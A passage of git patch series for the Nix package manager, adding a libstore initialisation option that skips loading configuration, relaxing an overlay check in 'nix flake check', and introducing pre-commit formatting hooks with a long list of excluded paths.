@@ -19,6 +19,16 @@ nix_err nix_libstore_init(nix_c_context * context)
     NIXC_CATCH_ERRS
 }
 
+nix_err nix_libstore_init_no_load_config(nix_c_context * context)
+{
+    if (context)
+        context->last_err_code = NIX_OK;
+    try {
+        nix::initLibStore(false);
+    }
+    NIXC_CATCH_ERRS
+}
+
 nix_err nix_init_plugins(nix_c_context * context)
 {
     if (context)
diff --git a/src/libstore-c/nix_api_store.h b/src/libstore-c/nix_api_store.h
index c83aca3f797..209f91f0dc6 100644
--- a/src/libstore-c/nix_api_store.h
+++ b/src/libstore-c/nix_api_store.h
@@ -35,6 +35,13 @@ typedef struct StorePath StorePath;
  */
 nix_err nix_libstore_init(nix_c_context * context);
 
+/**
+ * @brief Like nix_libstore_init, but does not load the Nix configuration.
+ *
+ * This is useful when external configuration is not desired, such as when running unit tests.
+ */
+nix_err nix_libstore_init_no_load_config(nix_c_context * context);
+
 /**
  * @brief Loads the plugins specified in Nix's plugin-files setting.
  *
diff --git a/src/libstore/globals.cc b/src/libstore/globals.cc
index 83e54e008f1..dfe3044ea34 100644
--- a/src/libstore/globals.cc
+++ b/src/libstore/globals.cc
@@ -427,12 +427,13 @@ void assertLibStoreInitialized() {
     };
 }
 
-void initLibStore() {
+void initLibStore(bool loadConfig) {
     if (initLibStoreDone) return;
 
     initLibUtil();
 
-    loadConfFile();
+    if (loadConfig)
+        loadConfFile();
 
     preloadNSS();
 
diff --git a/src/libstore/globals.hh b/src/libstore/globals.hh
index 852dba76413..933fc2e5a33 100644
--- a/src/libstore/globals.hh
+++ b/src/libstore/globals.hh
@@ -1279,9 +1279,10 @@ std::vector<Path> getUserConfigFiles();
 extern const std::string nixVersion;
 
 /**
- * NB: This is not sufficient. You need to call initNix()
+ * @param loadConfig Whether to load configuration from `nix.conf`, `NIX_CONFIG`, etc. May be disabled for unit tests.
+ * @note When using libexpr, and/or libmain, This is not sufficient. See initNix().
  */
-void initLibStore();
+void initLibStore(bool loadConfig = true);
 
 /**
  * It's important to initialize before doing _anything_, which is why we

From 0ecf7dac3b3d87641e32e1ed2cbafb1c2b5f7572 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Fri, 19 Apr 2024 23:45:31 +0200
Subject: [PATCH 027/528] tests/test-libstoreconsumer: Ignore config

---
 tests/functional/test-libstoreconsumer/main.cc | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/tests/functional/test-libstoreconsumer/main.cc b/tests/functional/test-libstoreconsumer/main.cc
index c61489af69a..efc7f29fce3 100644
--- a/tests/functional/test-libstoreconsumer/main.cc
+++ b/tests/functional/test-libstoreconsumer/main.cc
@@ -15,7 +15,8 @@ int main (int argc, char **argv)
 
         std::string drvPath = argv[1];
 
-        initLibStore();
+        // This small program is a test, so we do not want user config to interfere.
+        initLibStore(false);
 
         auto store = nix::openStore();
 

From bcaa2e4a85e1802a90cacc1a24151d7433f84c18 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Fri, 19 Apr 2024 23:45:59 +0200
Subject: [PATCH 028/528] tests/libstore-support: Ignore config

---
 tests/unit/libstore-support/tests/libstore.hh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/tests/unit/libstore-support/tests/libstore.hh b/tests/unit/libstore-support/tests/libstore.hh
index 78b162b9568..26718822487 100644
--- a/tests/unit/libstore-support/tests/libstore.hh
+++ b/tests/unit/libstore-support/tests/libstore.hh
@@ -11,7 +11,7 @@ namespace nix {
 class LibStoreTest : public virtual ::testing::Test {
     public:
         static void SetUpTestSuite() {
-            initLibStore();
+            initLibStore(false);
         }
 
     protected:

From 1b6cd1d2af3d8205eac4a20477a46f0b966dfcaa Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Sat, 20 Apr 2024 00:17:17 +0200
Subject: [PATCH 029/528] Revert "tests/test-libstoreconsumer: Ignore config"

This reverts commit 62feb5ca09263c78ddb692836228223e5b58d3ae.

It runs as part of the functional tests, which control the environment,
solving some of the problems a default config has when run in the
sandbox.
---
 tests/functional/test-libstoreconsumer/main.cc | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/tests/functional/test-libstoreconsumer/main.cc b/tests/functional/test-libstoreconsumer/main.cc
index efc7f29fce3..c61489af69a 100644
--- a/tests/functional/test-libstoreconsumer/main.cc
+++ b/tests/functional/test-libstoreconsumer/main.cc
@@ -15,8 +15,7 @@ int main (int argc, char **argv)
 
         std::string drvPath = argv[1];
 
-        // This small program is a test, so we do not want user config to interfere.
-        initLibStore(false);
+        initLibStore();
 
         auto store = nix::openStore();
 

From ad65a50a94a97bf1f1a1902f43542d28a2e8206b Mon Sep 17 00:00:00 2001
From: Tom Sydney Kerckhove <syd@cs-syd.eu>
Date: Sat, 20 Apr 2024 14:46:23 +0200
Subject: [PATCH 030/528] Remove the 'prev' check

---
 src/nix/flake.cc | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/src/nix/flake.cc b/src/nix/flake.cc
index 4825ab0e132..d5987237fad 100644
--- a/src/nix/flake.cc
+++ b/src/nix/flake.cc
@@ -454,11 +454,6 @@ struct CmdFlakeCheck : FlakeCommand
                 if (v.payload.lambda.fun->hasFormals()
                     || !argHasName(v.payload.lambda.fun->arg, "final"))
                     throw Error("overlay does not take an argument named 'final'");
-                auto body = dynamic_cast<ExprLambda *>(v.payload.lambda.fun->body);
-                if (!body
-                    || body->hasFormals()
-                    || !argHasName(body->arg, "prev"))
-                    throw Error("overlay does not take an argument named 'prev'");
                 // FIXME: if we have a 'nixpkgs' input, use it to
                 // evaluate the overlay.
             } catch (Error & e) {

From 5b36ee4c95531fcfb7f421b8239112043bb787f2 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Thu, 18 Apr 2024 21:59:39 +0200
Subject: [PATCH 031/528] Add pre-commit hook and make format target

I've added the new local.mk to the package sources. While this
should not be needed for the build, it is the simplest solution,
and won't cause many extra rebuilds, because the file won't change
very often.
---
 .gitignore                             |   2 +
 Makefile                               |   1 +
 doc/manual/src/contributing/hacking.md |  23 ++
 flake.lock                             |  65 +++-
 flake.nix                              |  50 ++-
 maintainers/flake-module.nix           | 454 +++++++++++++++++++++++++
 maintainers/local.mk                   |  15 +
 package.nix                            |   2 +
 8 files changed, 608 insertions(+), 4 deletions(-)
 create mode 100644 maintainers/flake-module.nix
 create mode 100644 maintainers/local.mk

diff --git a/.gitignore b/.gitignore
index 6996ca484aa..52aaec23fc2 100644
--- a/.gitignore
+++ b/.gitignore
@@ -154,6 +154,8 @@ result-*
 .vscode/
 .idea/
 
+.pre-commit-config.yaml
+
 # clangd and possibly more
 .cache/
 
diff --git a/Makefile b/Makefile
index ba5a6cd92f8..ea0754fa5a2 100644
--- a/Makefile
+++ b/Makefile
@@ -27,6 +27,7 @@ makefiles = \
 ifdef HOST_UNIX
 makefiles += \
   scripts/local.mk \
+  maintainers/local.mk \
   misc/bash/local.mk \
   misc/fish/local.mk \
   misc/zsh/local.mk \
diff --git a/doc/manual/src/contributing/hacking.md b/doc/manual/src/contributing/hacking.md
index c43149c4d96..61c513a15a6 100644
--- a/doc/manual/src/contributing/hacking.md
+++ b/doc/manual/src/contributing/hacking.md
@@ -273,6 +273,29 @@ Configure your editor to use the `clangd` from the `.#native-clangStdenvPackages
 > Some other editors (e.g. Emacs, Vim) need a plugin to support LSP servers in general (e.g. [lsp-mode](https://github.com/emacs-lsp/lsp-mode) for Emacs and [vim-lsp](https://github.com/prabirshrestha/vim-lsp) for vim).
 > Editor-specific setup is typically opinionated, so we will not cover it here in more detail.
 
+## Formatting and pre-commit
+
+You may run the formatters as a one-off using:
+
+```console
+make format
+```
+
+If you'd like to run the formatters before every commit, install the hooks:
+
+```
+pre-commit-hooks-install
+```
+
+This installs [pre-commit](https://pre-commit.com) using [cachix/git-hooks.nix](https://github.com/cachix/git-hooks.nix).
+
+When making a commit, pay attention to the console output.
+If it fails, run `git add --patch` to approve the suggestions _and commit again_.
+
+To refresh the config, do the following:
+- if you use `make format`: stop and start your `nix develop` shell.
+- if you use the pre-commit hook: stop and start, and run `pre-commit-hooks-install` again.
+
 ## Add a release note
 
 `doc/manual/rl-next` contains release notes entries for all unreleased changes.
diff --git a/flake.lock b/flake.lock
index bb2e400c0a9..409463ad8c3 100644
--- a/flake.lock
+++ b/flake.lock
@@ -16,6 +16,41 @@
         "type": "github"
       }
     },
+    "flake-parts": {
+      "inputs": {
+        "nixpkgs-lib": [
+          "nixpkgs"
+        ]
+      },
+      "locked": {
+        "lastModified": 1712014858,
+        "narHash": "sha256-sB4SWl2lX95bExY2gMFG5HIzvva5AVMJd4Igm+GpZNw=",
+        "owner": "hercules-ci",
+        "repo": "flake-parts",
+        "rev": "9126214d0a59633752a136528f5f3b9aa8565b7d",
+        "type": "github"
+      },
+      "original": {
+        "owner": "hercules-ci",
+        "repo": "flake-parts",
+        "type": "github"
+      }
+    },
+    "flake-utils": {
+      "locked": {
+        "lastModified": 1667395993,
+        "narHash": "sha256-nuEHfE/LcWyuSWnS8t12N1wc105Qtau+/OdUAjtQ0rA=",
+        "owner": "numtide",
+        "repo": "flake-utils",
+        "rev": "5aed5285a952e0b949eb3ba02c12fa4fcfef535f",
+        "type": "github"
+      },
+      "original": {
+        "owner": "numtide",
+        "repo": "flake-utils",
+        "type": "github"
+      }
+    },
     "libgit2": {
       "flake": false,
       "locked": {
@@ -64,12 +99,40 @@
         "type": "github"
       }
     },
+    "pre-commit-hooks": {
+      "inputs": {
+        "flake-compat": [],
+        "flake-utils": "flake-utils",
+        "gitignore": [],
+        "nixpkgs": [
+          "nixpkgs"
+        ],
+        "nixpkgs-stable": [
+          "nixpkgs"
+        ]
+      },
+      "locked": {
+        "lastModified": 1712897695,
+        "narHash": "sha256-nMirxrGteNAl9sWiOhoN5tIHyjBbVi5e2tgZUgZlK3Y=",
+        "owner": "cachix",
+        "repo": "pre-commit-hooks.nix",
+        "rev": "40e6053ecb65fcbf12863338a6dcefb3f55f1bf8",
+        "type": "github"
+      },
+      "original": {
+        "owner": "cachix",
+        "repo": "pre-commit-hooks.nix",
+        "type": "github"
+      }
+    },
     "root": {
       "inputs": {
         "flake-compat": "flake-compat",
+        "flake-parts": "flake-parts",
         "libgit2": "libgit2",
         "nixpkgs": "nixpkgs",
-        "nixpkgs-regression": "nixpkgs-regression"
+        "nixpkgs-regression": "nixpkgs-regression",
+        "pre-commit-hooks": "pre-commit-hooks"
       }
     }
   },
diff --git a/flake.nix b/flake.nix
index 07d909fcda0..15aa8d3b5ed 100644
--- a/flake.nix
+++ b/flake.nix
@@ -8,7 +8,19 @@
   inputs.flake-compat = { url = "github:edolstra/flake-compat"; flake = false; };
   inputs.libgit2 = { url = "github:libgit2/libgit2"; flake = false; };
 
-  outputs = { self, nixpkgs, nixpkgs-regression, libgit2, ... }:
+  # dev tooling
+  inputs.flake-parts.url = "github:hercules-ci/flake-parts";
+  inputs.pre-commit-hooks.url = "github:cachix/pre-commit-hooks.nix";
+  # work around https://github.com/NixOS/nix/issues/7730
+  inputs.flake-parts.inputs.nixpkgs-lib.follows = "nixpkgs";
+  inputs.pre-commit-hooks.inputs.nixpkgs.follows = "nixpkgs";
+  inputs.pre-commit-hooks.inputs.nixpkgs-stable.follows = "nixpkgs";
+  # work around 7730 and https://github.com/NixOS/nix/issues/7807
+  inputs.pre-commit-hooks.inputs.flake-compat.follows = "";
+  inputs.pre-commit-hooks.inputs.gitignore.follows = "";
+
+  outputs = inputs@{ self, nixpkgs, nixpkgs-regression, libgit2, ... }:
+
 
     let
       inherit (nixpkgs) lib;
@@ -57,6 +69,17 @@
             })
             stdenvs);
 
+
+      # We don't apply flake-parts to the whole flake so that non-development attributes
+      # load without fetching any development inputs.
+      devFlake = inputs.flake-parts.lib.mkFlake { inherit inputs; } {
+        imports = [ ./maintainers/flake-module.nix ];
+        systems = lib.subtractLists crossSystems systems;
+        perSystem = { system, ... }: {
+          _module.args.pkgs = nixpkgsFor.${system}.native;
+        };
+      };
+
       # Memoize nixpkgs for different platforms for efficiency.
       nixpkgsFor = forAllSystems
         (system: let
@@ -186,6 +209,12 @@
             inherit fileset stdenv;
           };
 
+          # https://github.com/NixOS/nixpkgs/pull/214409
+          pre-commit =
+            if prev.stdenv.hostPlatform.system == "i686-linux"
+            then (prev.pre-commit.override (o: { dotnet-sdk = ""; })).overridePythonAttrs (o: { doCheck = false; })
+            else prev.pre-commit;
+
         };
 
     in {
@@ -361,7 +390,8 @@
         # Since the support is only best-effort there, disable the perl
         # bindings
         perlBindings = self.hydraJobs.perlBindings.${system};
-      });
+      } // devFlake.checks.${system} or {}
+      );
 
       packages = forAllSystems (system: rec {
         inherit (nixpkgsFor.${system}.native) nix changelog-d-nix;
@@ -396,7 +426,10 @@
           stdenvs)));
 
       devShells = let
-        makeShell = pkgs: stdenv: (pkgs.nix.override { inherit stdenv; forDevShell = true; }).overrideAttrs (attrs: {
+        makeShell = pkgs: stdenv: (pkgs.nix.override { inherit stdenv; forDevShell = true; }).overrideAttrs (attrs:
+        let
+          modular = devFlake.getSystem stdenv.buildPlatform.system;
+        in {
           installFlags = "sysconfdir=$(out)/etc";
           shellHook = ''
             PATH=$prefix/bin:$PATH
@@ -407,7 +440,18 @@
             XDG_DATA_DIRS+=:$out/share
           '';
 
+          env = {
+            # For `make format`, to work without installing pre-commit
+            _NIX_PRE_COMMIT_HOOKS_CONFIG =
+              "${(pkgs.formats.yaml { }).generate "pre-commit-config.yaml" modular.pre-commit.settings.rawConfig}";
+          };
+
           nativeBuildInputs = attrs.nativeBuildInputs or []
+            ++ [
+              modular.pre-commit.settings.package
+              (pkgs.writeScriptBin "pre-commit-hooks-install"
+                modular.pre-commit.settings.installationScript)
+            ]
             # TODO: Remove the darwin check once
             # https://github.com/NixOS/nixpkgs/pull/291814 is available
             ++ lib.optional (stdenv.cc.isClang && !stdenv.buildPlatform.isDarwin) pkgs.buildPackages.bear
diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix
new file mode 100644
index 00000000000..ae78d43842b
--- /dev/null
+++ b/maintainers/flake-module.nix
@@ -0,0 +1,454 @@
+{ lib, getSystem, inputs, ... }:
+
+{
+  imports = [
+    inputs.pre-commit-hooks.flakeModule
+  ];
+
+  perSystem = { config, pkgs, ... }: {
+
+    # https://flake.parts/options/pre-commit-hooks-nix.html#options
+    pre-commit.settings = {
+      hooks = {
+        clang-format.enable = true;
+        nixpkgs-fmt.enable = true;
+      };
+
+      excludes = [
+        # We don't want to format test data
+        # ''tests/(?!nixos/).*\.nix''
+        ''^tests/.*''
+
+        # Don't format vendored code
+        ''^src/toml11/.*''
+        ''^doc/manual/redirects\.js$''
+        ''^doc/manual/theme/highlight\.js$''
+
+        # We haven't applied formatting to these files yet
+        ''^doc/manual/generate-manpage\.nix$''
+        ''^doc/manual/generate-settings\.nix$''
+        ''^doc/manual/generate-store-info\.nix$''
+        ''^doc/manual/generate-xp-features-shortlist\.nix$''
+        ''^doc/manual/redirects\.js$''
+        ''^doc/manual/theme/highlight\.js$''
+        ''^doc/manual/utils\.nix$''
+        ''^docker\.nix$''
+        ''^flake\.nix$''
+        ''^maintainers/flake-module\.nix$''
+        ''^maintainers/flake-module\.nix$''
+        ''^misc/changelog-d\.cabal\.nix$''
+        ''^misc/changelog-d\.nix$''
+        ''^package\.nix$''
+        ''^perl/default\.nix$''
+        ''^precompiled-headers\.h$''
+        ''^scripts/installer\.nix$''
+        ''^src/build-remote/build-remote\.cc$''
+        ''^src/libcmd/built-path\.cc$''
+        ''^src/libcmd/built-path\.hh$''
+        ''^src/libcmd/command\.cc$''
+        ''^src/libcmd/command\.hh$''
+        ''^src/libcmd/common-eval-args\.cc$''
+        ''^src/libcmd/common-eval-args\.hh$''
+        ''^src/libcmd/editor-for\.cc$''
+        ''^src/libcmd/installable-attr-path\.cc$''
+        ''^src/libcmd/installable-attr-path\.hh$''
+        ''^src/libcmd/installable-derived-path\.cc$''
+        ''^src/libcmd/installable-derived-path\.hh$''
+        ''^src/libcmd/installable-flake\.cc$''
+        ''^src/libcmd/installable-flake\.hh$''
+        ''^src/libcmd/installable-value\.cc$''
+        ''^src/libcmd/installable-value\.hh$''
+        ''^src/libcmd/installables\.cc$''
+        ''^src/libcmd/installables\.hh$''
+        ''^src/libcmd/legacy\.hh$''
+        ''^src/libcmd/markdown\.cc$''
+        ''^src/libcmd/misc-store-flags\.cc$''
+        ''^src/libcmd/repl-interacter\.cc$''
+        ''^src/libcmd/repl-interacter\.hh$''
+        ''^src/libcmd/repl\.cc$''
+        ''^src/libcmd/repl\.hh$''
+        ''^src/libexpr-c/nix_api_expr\.cc$''
+        ''^src/libexpr-c/nix_api_external\.cc$''
+        ''^src/libexpr/attr-path\.cc$''
+        ''^src/libexpr/attr-path\.hh$''
+        ''^src/libexpr/attr-set\.cc$''
+        ''^src/libexpr/attr-set\.hh$''
+        ''^src/libexpr/eval-cache\.cc$''
+        ''^src/libexpr/eval-cache\.hh$''
+        ''^src/libexpr/eval-error\.cc$''
+        ''^src/libexpr/eval-inline\.hh$''
+        ''^src/libexpr/eval-settings\.cc$''
+        ''^src/libexpr/eval-settings\.hh$''
+        ''^src/libexpr/eval\.cc$''
+        ''^src/libexpr/eval\.hh$''
+        ''^src/libexpr/fetchurl\.nix$''
+        ''^src/libexpr/flake/call-flake\.nix$''
+        ''^src/libexpr/flake/config\.cc$''
+        ''^src/libexpr/flake/flake\.cc$''
+        ''^src/libexpr/flake/flake\.hh$''
+        ''^src/libexpr/flake/flakeref\.cc$''
+        ''^src/libexpr/flake/flakeref\.hh$''
+        ''^src/libexpr/flake/lockfile\.cc$''
+        ''^src/libexpr/flake/lockfile\.hh$''
+        ''^src/libexpr/flake/url-name\.cc$''
+        ''^src/libexpr/function-trace\.cc$''
+        ''^src/libexpr/gc-small-vector\.hh$''
+        ''^src/libexpr/get-drvs\.cc$''
+        ''^src/libexpr/get-drvs\.hh$''
+        ''^src/libexpr/imported-drv-to-derivation\.nix$''
+        ''^src/libexpr/json-to-value\.cc$''
+        ''^src/libexpr/nixexpr\.cc$''
+        ''^src/libexpr/nixexpr\.hh$''
+        ''^src/libexpr/parser-state\.hh$''
+        ''^src/libexpr/pos-table\.hh$''
+        ''^src/libexpr/primops\.cc$''
+        ''^src/libexpr/primops\.hh$''
+        ''^src/libexpr/primops/context\.cc$''
+        ''^src/libexpr/primops/derivation\.nix$''
+        ''^src/libexpr/primops/fetchClosure\.cc$''
+        ''^src/libexpr/primops/fetchMercurial\.cc$''
+        ''^src/libexpr/primops/fetchTree\.cc$''
+        ''^src/libexpr/primops/fromTOML\.cc$''
+        ''^src/libexpr/print-ambiguous\.cc$''
+        ''^src/libexpr/print-ambiguous\.hh$''
+        ''^src/libexpr/print-options\.hh$''
+        ''^src/libexpr/print\.cc$''
+        ''^src/libexpr/print\.hh$''
+        ''^src/libexpr/search-path\.cc$''
+        ''^src/libexpr/symbol-table\.hh$''
+        ''^src/libexpr/value-to-json\.cc$''
+        ''^src/libexpr/value-to-json\.hh$''
+        ''^src/libexpr/value-to-xml\.cc$''
+        ''^src/libexpr/value-to-xml\.hh$''
+        ''^src/libexpr/value\.hh$''
+        ''^src/libexpr/value/context\.cc$''
+        ''^src/libexpr/value/context\.hh$''
+        ''^src/libfetchers/attrs\.cc$''
+        ''^src/libfetchers/cache\.cc$''
+        ''^src/libfetchers/cache\.hh$''
+        ''^src/libfetchers/fetch-settings\.cc$''
+        ''^src/libfetchers/fetch-settings\.hh$''
+        ''^src/libfetchers/fetch-to-store\.cc$''
+        ''^src/libfetchers/fetchers\.cc$''
+        ''^src/libfetchers/fetchers\.hh$''
+        ''^src/libfetchers/filtering-input-accessor\.cc$''
+        ''^src/libfetchers/filtering-input-accessor\.hh$''
+        ''^src/libfetchers/fs-input-accessor\.cc$''
+        ''^src/libfetchers/fs-input-accessor\.hh$''
+        ''^src/libfetchers/git-utils\.cc$''
+        ''^src/libfetchers/git-utils\.hh$''
+        ''^src/libfetchers/github\.cc$''
+        ''^src/libfetchers/indirect\.cc$''
+        ''^src/libfetchers/memory-input-accessor\.cc$''
+        ''^src/libfetchers/path\.cc$''
+        ''^src/libfetchers/registry\.cc$''
+        ''^src/libfetchers/registry\.hh$''
+        ''^src/libfetchers/tarball\.cc$''
+        ''^src/libfetchers/tarball\.hh$''
+        ''^src/libfetchers/unix/git\.cc$''
+        ''^src/libfetchers/unix/mercurial\.cc$''
+        ''^src/libmain/common-args\.cc$''
+        ''^src/libmain/common-args\.hh$''
+        ''^src/libmain/loggers\.cc$''
+        ''^src/libmain/loggers\.hh$''
+        ''^src/libmain/progress-bar\.cc$''
+        ''^src/libmain/shared\.cc$''
+        ''^src/libmain/shared\.hh$''
+        ''^src/libmain/unix/stack\.cc$''
+        ''^src/libstore/binary-cache-store\.cc$''
+        ''^src/libstore/binary-cache-store\.hh$''
+        ''^src/libstore/build-result\.hh$''
+        ''^src/libstore/builtins\.hh$''
+        ''^src/libstore/builtins/buildenv\.cc$''
+        ''^src/libstore/builtins/buildenv\.hh$''
+        ''^src/libstore/common-protocol-impl\.hh$''
+        ''^src/libstore/common-protocol\.cc$''
+        ''^src/libstore/common-protocol\.hh$''
+        ''^src/libstore/content-address\.cc$''
+        ''^src/libstore/content-address\.hh$''
+        ''^src/libstore/daemon\.cc$''
+        ''^src/libstore/daemon\.hh$''
+        ''^src/libstore/derivations\.cc$''
+        ''^src/libstore/derivations\.hh$''
+        ''^src/libstore/derived-path-map\.cc$''
+        ''^src/libstore/derived-path-map\.hh$''
+        ''^src/libstore/derived-path\.cc$''
+        ''^src/libstore/derived-path\.hh$''
+        ''^src/libstore/downstream-placeholder\.cc$''
+        ''^src/libstore/downstream-placeholder\.hh$''
+        ''^src/libstore/dummy-store\.cc$''
+        ''^src/libstore/export-import\.cc$''
+        ''^src/libstore/filetransfer\.cc$''
+        ''^src/libstore/filetransfer\.hh$''
+        ''^src/libstore/gc-store\.hh$''
+        ''^src/libstore/globals\.cc$''
+        ''^src/libstore/globals\.hh$''
+        ''^src/libstore/http-binary-cache-store\.cc$''
+        ''^src/libstore/legacy-ssh-store\.cc$''
+        ''^src/libstore/legacy-ssh-store\.hh$''
+        ''^src/libstore/length-prefixed-protocol-helper\.hh$''
+        ''^src/libstore/linux/personality\.cc$''
+        ''^src/libstore/linux/personality\.hh$''
+        ''^src/libstore/local-binary-cache-store\.cc$''
+        ''^src/libstore/local-fs-store\.cc$''
+        ''^src/libstore/local-fs-store\.hh$''
+        ''^src/libstore/log-store\.cc$''
+        ''^src/libstore/log-store\.hh$''
+        ''^src/libstore/machines\.cc$''
+        ''^src/libstore/machines\.hh$''
+        ''^src/libstore/make-content-addressed\.cc$''
+        ''^src/libstore/make-content-addressed\.hh$''
+        ''^src/libstore/misc\.cc$''
+        ''^src/libstore/names\.cc$''
+        ''^src/libstore/names\.hh$''
+        ''^src/libstore/nar-accessor\.cc$''
+        ''^src/libstore/nar-accessor\.hh$''
+        ''^src/libstore/nar-info-disk-cache\.cc$''
+        ''^src/libstore/nar-info-disk-cache\.hh$''
+        ''^src/libstore/nar-info\.cc$''
+        ''^src/libstore/nar-info\.hh$''
+        ''^src/libstore/outputs-spec\.cc$''
+        ''^src/libstore/outputs-spec\.hh$''
+        ''^src/libstore/parsed-derivations\.cc$''
+        ''^src/libstore/path-info\.cc$''
+        ''^src/libstore/path-info\.hh$''
+        ''^src/libstore/path-references\.cc$''
+        ''^src/libstore/path-regex\.hh$''
+        ''^src/libstore/path-with-outputs\.cc$''
+        ''^src/libstore/path\.cc$''
+        ''^src/libstore/path\.hh$''
+        ''^src/libstore/pathlocks\.cc$''
+        ''^src/libstore/pathlocks\.hh$''
+        ''^src/libstore/profiles\.cc$''
+        ''^src/libstore/profiles\.hh$''
+        ''^src/libstore/realisation\.cc$''
+        ''^src/libstore/realisation\.hh$''
+        ''^src/libstore/remote-fs-accessor\.cc$''
+        ''^src/libstore/remote-fs-accessor\.hh$''
+        ''^src/libstore/remote-store-connection\.hh$''
+        ''^src/libstore/remote-store\.cc$''
+        ''^src/libstore/remote-store\.hh$''
+        ''^src/libstore/s3-binary-cache-store\.cc$''
+        ''^src/libstore/s3\.hh$''
+        ''^src/libstore/serve-protocol-impl\.cc$''
+        ''^src/libstore/serve-protocol-impl\.hh$''
+        ''^src/libstore/serve-protocol\.cc$''
+        ''^src/libstore/serve-protocol\.hh$''
+        ''^src/libstore/sqlite\.cc$''
+        ''^src/libstore/sqlite\.hh$''
+        ''^src/libstore/ssh-store-config\.hh$''
+        ''^src/libstore/ssh-store\.cc$''
+        ''^src/libstore/ssh\.cc$''
+        ''^src/libstore/ssh\.hh$''
+        ''^src/libstore/store-api\.cc$''
+        ''^src/libstore/store-api\.hh$''
+        ''^src/libstore/store-dir-config\.hh$''
+        ''^src/libstore/unix/build/derivation-goal\.cc$''
+        ''^src/libstore/unix/build/derivation-goal\.hh$''
+        ''^src/libstore/unix/build/drv-output-substitution-goal\.cc$''
+        ''^src/libstore/unix/build/drv-output-substitution-goal\.hh$''
+        ''^src/libstore/unix/build/entry-points\.cc$''
+        ''^src/libstore/unix/build/goal\.cc$''
+        ''^src/libstore/unix/build/goal\.hh$''
+        ''^src/libstore/unix/build/hook-instance\.cc$''
+        ''^src/libstore/unix/build/local-derivation-goal\.cc$''
+        ''^src/libstore/unix/build/local-derivation-goal\.hh$''
+        ''^src/libstore/unix/build/substitution-goal\.cc$''
+        ''^src/libstore/unix/build/substitution-goal\.hh$''
+        ''^src/libstore/unix/build/worker\.cc$''
+        ''^src/libstore/unix/build/worker\.hh$''
+        ''^src/libstore/unix/builtins/fetchurl\.cc$''
+        ''^src/libstore/unix/builtins/unpack-channel\.cc$''
+        ''^src/libstore/unix/gc\.cc$''
+        ''^src/libstore/unix/local-overlay-store\.cc$''
+        ''^src/libstore/unix/local-overlay-store\.hh$''
+        ''^src/libstore/unix/local-store\.cc$''
+        ''^src/libstore/unix/local-store\.hh$''
+        ''^src/libstore/unix/lock\.cc$''
+        ''^src/libstore/unix/lock\.hh$''
+        ''^src/libstore/unix/optimise-store\.cc$''
+        ''^src/libstore/unix/pathlocks\.cc$''
+        ''^src/libstore/unix/posix-fs-canonicalise\.cc$''
+        ''^src/libstore/unix/posix-fs-canonicalise\.hh$''
+        ''^src/libstore/unix/uds-remote-store\.cc$''
+        ''^src/libstore/unix/uds-remote-store\.hh$''
+        ''^src/libstore/windows/build\.cc$''
+        ''^src/libstore/worker-protocol-impl\.hh$''
+        ''^src/libstore/worker-protocol\.cc$''
+        ''^src/libstore/worker-protocol\.hh$''
+        ''^src/libutil-c/nix_api_util_internal\.h$''
+        ''^src/libutil/archive\.cc$''
+        ''^src/libutil/archive\.hh$''
+        ''^src/libutil/args\.cc$''
+        ''^src/libutil/args\.hh$''
+        ''^src/libutil/args/root\.hh$''
+        ''^src/libutil/callback\.hh$''
+        ''^src/libutil/canon-path\.cc$''
+        ''^src/libutil/canon-path\.hh$''
+        ''^src/libutil/chunked-vector\.hh$''
+        ''^src/libutil/closure\.hh$''
+        ''^src/libutil/comparator\.hh$''
+        ''^src/libutil/compute-levels\.cc$''
+        ''^src/libutil/config-impl\.hh$''
+        ''^src/libutil/config\.cc$''
+        ''^src/libutil/config\.hh$''
+        ''^src/libutil/current-process\.cc$''
+        ''^src/libutil/current-process\.hh$''
+        ''^src/libutil/english\.cc$''
+        ''^src/libutil/english\.hh$''
+        ''^src/libutil/environment-variables\.cc$''
+        ''^src/libutil/error\.cc$''
+        ''^src/libutil/error\.hh$''
+        ''^src/libutil/exit\.hh$''
+        ''^src/libutil/experimental-features\.cc$''
+        ''^src/libutil/experimental-features\.hh$''
+        ''^src/libutil/file-content-address\.cc$''
+        ''^src/libutil/file-content-address\.hh$''
+        ''^src/libutil/file-descriptor\.cc$''
+        ''^src/libutil/file-descriptor\.hh$''
+        ''^src/libutil/file-path-impl\.hh$''
+        ''^src/libutil/file-path\.hh$''
+        ''^src/libutil/file-system\.cc$''
+        ''^src/libutil/file-system\.hh$''
+        ''^src/libutil/finally\.hh$''
+        ''^src/libutil/fmt\.hh$''
+        ''^src/libutil/fs-sink\.cc$''
+        ''^src/libutil/fs-sink\.hh$''
+        ''^src/libutil/git\.cc$''
+        ''^src/libutil/git\.hh$''
+        ''^src/libutil/hash\.cc$''
+        ''^src/libutil/hash\.hh$''
+        ''^src/libutil/hilite\.cc$''
+        ''^src/libutil/hilite\.hh$''
+        ''^src/libutil/input-accessor\.hh$''
+        ''^src/libutil/json-impls\.hh$''
+        ''^src/libutil/json-utils\.cc$''
+        ''^src/libutil/json-utils\.hh$''
+        ''^src/libutil/linux/cgroup\.cc$''
+        ''^src/libutil/linux/namespaces\.cc$''
+        ''^src/libutil/logging\.cc$''
+        ''^src/libutil/logging\.hh$''
+        ''^src/libutil/lru-cache\.hh$''
+        ''^src/libutil/memory-source-accessor\.cc$''
+        ''^src/libutil/memory-source-accessor\.hh$''
+        ''^src/libutil/pool\.hh$''
+        ''^src/libutil/position\.cc$''
+        ''^src/libutil/position\.hh$''
+        ''^src/libutil/posix-source-accessor\.cc$''
+        ''^src/libutil/posix-source-accessor\.hh$''
+        ''^src/libutil/processes\.hh$''
+        ''^src/libutil/ref\.hh$''
+        ''^src/libutil/references\.cc$''
+        ''^src/libutil/references\.hh$''
+        ''^src/libutil/regex-combinators\.hh$''
+        ''^src/libutil/serialise\.cc$''
+        ''^src/libutil/serialise\.hh$''
+        ''^src/libutil/signals\.hh$''
+        ''^src/libutil/signature/local-keys\.cc$''
